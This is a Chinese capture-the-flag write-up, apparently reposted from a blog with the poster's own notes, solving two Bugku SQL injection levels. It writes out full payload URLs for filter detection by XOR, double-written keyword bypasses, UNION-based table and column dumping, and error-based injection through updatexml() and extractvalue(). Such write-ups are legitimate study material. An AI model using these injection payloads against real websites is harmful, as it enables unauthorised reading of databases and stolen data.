以此判断出有2列;
id=1后面加单引号会报错,后面加–+注释返回正常,确定存在SQL注入
?id=1’or 1=1–+ 也报错,可能存在过滤
尝试双写绕过,?id=1’oorr 1=1–+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能GET!
异或注入了解一下,两个条件相同(同真或同假)即为假
http://120.24.86.145:9004/1ndex.php?id=1’^(length(‘union’)!=0)–+
如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了
同理测试出被过滤的字符串有:and,or,union,select
都用双写来绕过,payload如下:
爆数据表 (注意:information里面也有or)
http://120.24.86.145:9004/1ndex.php?id=-1’ ununionion seselectlect 1,group_concat(table_na
me) from infoorrmation_schema.tables where table_schema=database()–+
爆字段
http://120.24.86.145:9004/1ndex.php?id=-1’ ununionion seselectlect 1, group_concat
(column_name) from infoorrmation_schema.columns where table_name=‘flag1’–+
爆数据
http://120.24.86.145:9004/1ndex.php?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1–+
提交flag显示错误,换个字段,爆address,得出下一关地址
进去又是一个SQL注入
大小写绕过pass,双写绕过pass
这里利用 updatexml() 函数报错注入
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’
Payload:
查数据表
http://120.24.86.145:9004/Once_More.php?id=1’ and updatexml(1,concat(’~’,(select group_con
cat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23
查字段
?id=1’ and updatexml(1,concat(’~’,(select group_concat(column_name) from information_
schema.columns where table_schema=database() and table_name=‘flag2’),’~’),3) %23
查数据
?id=1’ and updatexml(1,concat(’~’,(select flag2 from flag2),’~’),3) %23
得到flag
版权声明:本文为优快云博主「河马的鲸鱼」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/qq_26090065/article/details/82708691
最后爆出 flag
版权声明:本文为优快云博主「河马的鲸鱼」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/qq_26090065/article/details/82708691
以下为第二关本人做法:
分别参数id=1 1’ 1” 1’) 1”)发现1’会产生错误
可以看出union被过滤。and等正常。union大小写,双层也无法绕过。同时发现这个有报错功能。可以使用报错注入
报错注入:
爆库名(可跳过)
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20extractvalue(1,concat(0x7E,(select%20database()),0x7E))–+
爆表名:
http://123.206.87.240:9004/Once_More.php?id=1%27and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),0x7e))–+
爆列名:
http://123.206.87.240:9004/Once_More.php?id=1%27and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag2%27),0x7e))–+
爆数据:
http://123.206.87.240:9004/Once_More.php?id=1%27and%20extractvalue(1,concat(0x7e,(select%20flag2%20from%20flag2),0x7e))–+
需要注意flag提交要求均为小写:flag{Bugku-sql_6s-2i-4t-bug}改为flag{bugku-sql_6s-2i-4t-bug}